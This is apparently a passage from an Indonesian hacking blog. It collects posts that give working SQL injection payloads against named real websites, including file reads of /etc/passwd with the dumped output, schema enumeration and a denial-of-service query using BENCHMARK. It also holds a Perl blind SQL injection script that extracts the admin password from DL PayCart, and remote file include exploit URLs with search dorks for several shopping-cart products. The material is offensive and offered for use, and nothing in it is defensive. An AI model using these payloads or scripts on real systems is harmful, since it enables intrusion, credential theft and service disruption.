kita juga bisa menganti dengan file lain misal /etc/issue dan ubah ke bentuk hex.


hex dari /etc/issue adalah 0x2F6574632F6973737565.


Setelah merubah file yang kita ingin lihat ke bentuk hex, mari kita lanjutkan dengan memasukannya ke dalam url


http://sonyadakar.com/products1/content.php?id=-1%20union%20select%201,LOAD_FILE(0x2f6574632f706173737764),3,4,5,6,7,8,9,10,11,12/*

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
----------------cut-------------------------------

ups.. terlihat kan isi filenya ;D

kita coba dengan memasukan LOAD_FILE(0x2F6574632F6973737565) ke dalam url

http://sonyadakar.com/products1/content.php?id=-1%20union%20select%201,LOAD_FILE(0x2F6574632F6973737565),3,4,5,6,7,8,9,10,11,12/*

Red Hat Enterprise Linux ES release 4 (Nahant Update 6)
Kernel \r on an \m

Read more...

Mencari tabel dan kolom di target mysql

SQL Injection Mencari tabel dan kolom di target mysql.

Catatan cara ini dapat berhasil jika versi mysql 5 keatas dan information_schema dapat di baca (tidak access denied).

kali ini kita akan ber ekploidtasi pada target
http://www.cpme.be


vuln:
http://www.cpme.be/content.php?c=1[sql]


cari jumlah kolomnya sampai true.

SQL:
http://www.cpme.be/content.php?c=1'%20union%20select%201,2,3,4/*

ok true kita coba untuk mencari nama tabel.




SQL:
http://www.cpme.be/content.php?c=1'%20union%20select%201,TABLE_NAME,3,4%20from%20information_schema.tables%20where%20table_schema=database()%20limit%201,1/*

Dengan sql diatas kita dapat menemukan tabel ke 1 yaitu agenda_international.




kita coba cari tabel ke 2



SQL:
http://www.cpme.be/content.php?c=1'%20union%20select%201,TABLE_NAME,3,4%20from%20information_schema.tables%20where%20table_schema=database()%20limit%202,1/*

Dengan sql diatas kita dapat menemukan tabel ke 2 yaitu answers

kita dapat mecari tabel ke 3 dst nya dengan menambah angaka di depan limit.



ok setelah dapat tabel mungkin kita akan bertanya bagaimana mencari kolom?

SQL:
http://www.cpme.be/content.php?c=1'%20union%20select%201,COLUMN_NAME,3,4%20from%20information_schema.COLUMNS%20where%20table_name='forum_users'%20and%20table_schema=database()limit%201,1/*

dengan sql diatas kita dapat menemukan kolom 1 pada tabel forum_users yaitu username.

dengan menambah angka di depan limit kita dapat menemukan kolom ke 2 dst.



jika anda merasa lelah itu wajar saja :D lalu adakah cara yang praktis?

sekali lagi saya membuat sebuah tools yang praktis. silahkan anda coba di


http://209.40.202.204/~irvian/ask.php

Read more...

DOS dengan benchmark sql injection

Kali ini terdapat sebuah bug sql injection di site astro-nusantara.com.

vuln:
www.astro-nusantara.com/pages/programme.php?channel_id=21[sql]

Dos benchmark:
http://www.astro-nusantara.com/pages/programme.php?channel_id=21%20and%20benchmark(10000000000000000000,md5(199))/*

Read more...

Bermain Sql Injection di target cfm

Kali ini kita coba dengan bermain sql injection pada target .cfm

sample target:
http://www.ekklaw.com/ekklaw.cfm?ID=[sql]

tes vuln:
http://www.ekklaw.com/ekklaw.cfm?ID=7'

error:
[Microsoft][ODBC SQL Server Driver][SQL Server]Line 4: Incorrect syntax near ''.

Jika kita menemukan error seperti di atas berarti kita sudah menemukan 2 kesimpulan.
1. target adalah windows.
2. target mengunakan databases sql server.

Ok, mari kita lanjutkan.


masukan sql injection berikut ini
http://www.ekklaw.com/ekklaw.cfm?ID=convert(int,(SELECT%20TOP%201%20TABLE_NAME%20FROM%20INFORMATION_SCHEMA.TABLES%20WHERE%20TABLE_NAME%20NOT%20IN('')))--

error:
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value
'REFERENTIAL_CONSTRAINTS' to a column of data type int.


terlihat browser mengeluarkan error yang sangat menakjubkan ;D
dari error di atas kita menemukan sebuah tabel yaitu REFERENTIAL_CONSTRAINTS

lalu bagaimana kita mencari tabel ke 2 dstnya?

kita coba dengan sql berikut:
http://www.ekklaw.com/ekklaw.cfm?ID=convert(int,(SELECT%20TOP%201%20TABLE_NAME%20FROM%20INFORMATION_SCHEMA.TABLES%20WHERE%20TABLE_NAME%20NOT%20IN('REFERENTIAL_CONSTRAINTS')))--

error:
[Microsoft][ODBC SQL Server Driver][SQL Server]Invalid column name 'REFERENTIAL_CONSTRAINTS'.

di sini dapat kita lihat bahwa table REFERENTIAL_CONSTRAINTS tidak di temukan. Kenapa?

jawabnya adalah karena REFERENTIAL_CONSTRAINTS string dan server hanya mebaca tabel dalam bentuk ascii.

lalu bagai mana caranya supaya server dapat membaca tabel REFERENTIAL_CONSTRAINTS?

mudah kita convert saja REFERENTIAL_CONSTRAINTS dari string ke ascii

seperti berikut ini:

char(82)%2bchar(69)%2bchar(70)%2bchar(69)%2bchar(82)%2bchar(69)%2bchar(78)%2bchar(84)%2bchar(73)%2bchar(65)%2bchar(76)%2bchar(95)%2bchar(67)%2bchar(79)%2bchar(78)%2bchar(83)%2bchar(84)%2bchar(82)%2bchar(65)%2bchar(73)%2bchar(78)%2bchar(84)%2bchar(83)

ascii diatas jika di string kan adalah REFERENTIAL_CONSTRAINTS.

Mari kita coba dengan memasukan ascii di atas ke dalam sql injection.

http://www.ekklaw.com/ekklaw.cfm?ID=convert(int,(SELECT%20TOP%201%20TABLE_NAME%20FROM%20INFORMATION_SCHEMA.
TABLES%20WHERE%20TABLE_NAME%20NOT%20IN(char(82)%2bchar(69)%2bchar(70)%2bchar(69)%2bchar(82)%2bchar(69)%2bchar(78)%2bchar(84)%2bchar(73)%2bchar(65)%2bchar(76)%2bchar(95)%2bchar(67)%2bchar(79)%2bchar(78)%2bchar(83)%2bchar(84)%2bchar(82)%2bchar(65)%2bchar(73)%2bchar(78)%2bchar(84)%2bchar(83))))--

error:
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'articles' to a column of data type int.

wow dapat tabel ke 2 selanjutnya anda lanjutkan saja dengan menambah tabel articles yang sudah di konversi ke ascii ke dalam sql injection.

Jika anda berkata lelah itu sudah pasti tapi saya sudah membuat tools mengunakan language perl yang dapat mempermudah anda.

Dengan tools ini ada bisa bermain dengan cfm menjadi sangat mudah.

jika anda sangat membutuhkan tools ini silahkan hubungi irvian.info@gmail.com.

Read more...

DL PayCart 1.01 Blind Sql Injection

#!/usr/bin/perl -w
use HTTP::Request;
use LWP::UserAgent;
#---------------------------------------------------------------------------------
# scripts : DL PayCart 1.01 - © 2006
# Discovered By : irvian
# scripts site : http://www.dinkumsoft.com/
#---------------------------------------------------------------------------------

if (@ARGV < 3){
die "
use : $0 host option itemid
example : $0 http://victim.com 1 1

1= AdminID
2= AdminPass\n";}


$url = $ARGV[0];
$option = $ARGV[1];
$itmid = $ARGV[2];


print "\r\n[+]-----------------------------------------[+]\r\n";
print "[+]Blind SQL injection [+]\r\n";
print "[+]DL PayCart 1.01 - © 2006 [+]\r\n";
print "[+]code by irvian [+]\r\n";
print "[+]-----------------------------------------[+]\n\r";

if ($option eq 1){
syswrite(STDOUT, "AdminID: ", 9);}
elsif ($option eq 2){
syswrite(STDOUT, "AdminPass: ", 11);}

for($i = 1; $i <= 32; $i++){
$f = 0;
$n = 32;
while(!$f && $n <= 255)
{
if(&blind($url, $option, $i, $n, $itmid)){
$f = 1;
syswrite(STDOUT, chr($n), 1);
}
$n++;
}
}

print "\n[+]finish Execution Exploit\n";



sub blind {
my $site = $_[0];
my $op = $_[1];
my $az = $_[2];
my $na = $_[3];
my $itm = $_[4];

if ($op eq 1){$klm = "AdminID";}
elsif ($op eq 2){$klm = "AdminPass";}

$blind = "$site"."/viewitem.php?ItemID=".$itm."'/**/and/**/substring((select/**/"."$klm"."/**/from/**/pc_settings/**/limit/**/0,1),"."$az".",1)=char("."$na".")/*";

$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$req = $b->request(HTTP::Request->new(GET=>$blind));
$res = $req->content;

if ($res !~ /noimage.gif/i){
return 1;
}

}
Read more...

Pixaria Gallery 1.x RFI

Pixaria Gallery v1.x.x (class.Smarty.php) Remote File Include Vulnerability

---------------------------------------------
# scripts : Pixaria Gallery v1.x.x
# Discovered By : irvian
# scripts site : http://pixaria.com
# dork : inurl:index.gallery.php?gid=
----------------------------------------------

bug found:

/resources/includes/class.Smarty.php

// Load the main Smarty class
require_once ($cfg['sys']['base_path'] . "resources/smarty/libs/Smarty.class.php");

Exploit:
/resources/includes/class.Smarty.php?cfg[sys][base_path]=[evilcode]
Read more...

PhotoCart 3.9 RFI

-------------------------------------------------------------------
# PhotoCart 3.9 (adminprint.php) Remote File Include Vulnerability
# Dork : inurl :/PhotoCart/
# Bug Found By : irvian
--------------------------------------------------------------------
bug found on /PhotoCart/adminprint.php

include "setup.php";
$path = "$path";
$path = "$path";
include "$admin_folder/_admin_functions.php";
include "$path/_db.php";
adminsessionCheck();


www.target.com/adminprint.php?admin_folder=[evil_scripts]
www.target.com/adminprint.php?path=[evil_scripts]
Read more...

Jshop Server 1.3 RFI

--------------------------------------------------------------------------
# scripts : Jshop Server 1.3
# Discovered By : irvian
# scripts site : http://www.jshop.co.uk/
# dork : inurl:page.php?xPage=
--------------------------------------------------------------------------
file: routines/fieldValidation.php

include($jssShopFileSystem."resources/includes/validations.php");


exploit : www.target.com/routines/fieldValidation.php?jssShopFileSystem=[evilcode]

Read more...

Sunshop 3.5 RFI

sunshop 3.5 (index.php) Remote File Include Vulnerability

-----------------------------------------------------------------------------------------
# scripts : SunShop v3.5
# Discovered By : irvian
# scripts site : http://www.turnkeywebtools.com/sunshop/
# dork : "powered by sunshop"
------------------------------------------------------------------------------------------
bug found:

index.php
$abs_path = dirname(__FILE__);
include $abs_path."/global.php";

checkout.php
$abs_path = dirname(__FILE__);
include $abs_path."/global.php";

Exploit:
target.com/index.php?abs_path=[evilcode]
target.com/checkout.php?abs_path=[evilcode]

Read more...

CS-Cart 1.3.3 RFI

CS-Cart 1.3.3 Remote File include sesion II

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$ CS-Cart 1.3.3 (install.php) Remote File Include Vulnerability
$$ Script site: http://www.cs-cart.com
$$ Dork: Powered by CS-Cart - Shopping Cart Software
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$ Find by: irvian
$$ Contact: admin@irvian.info
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

$install_dir = dirname(__FILE__);
$install_skins_dir = is_dir('./var/skins_repository') ? 'var/skins_repository' : 'skins';
include $install_dir.'/core/install.php'

Expl: http://site.com/[CS-Cart_path]/install.php?install_dir=[evil_scripts] Read more...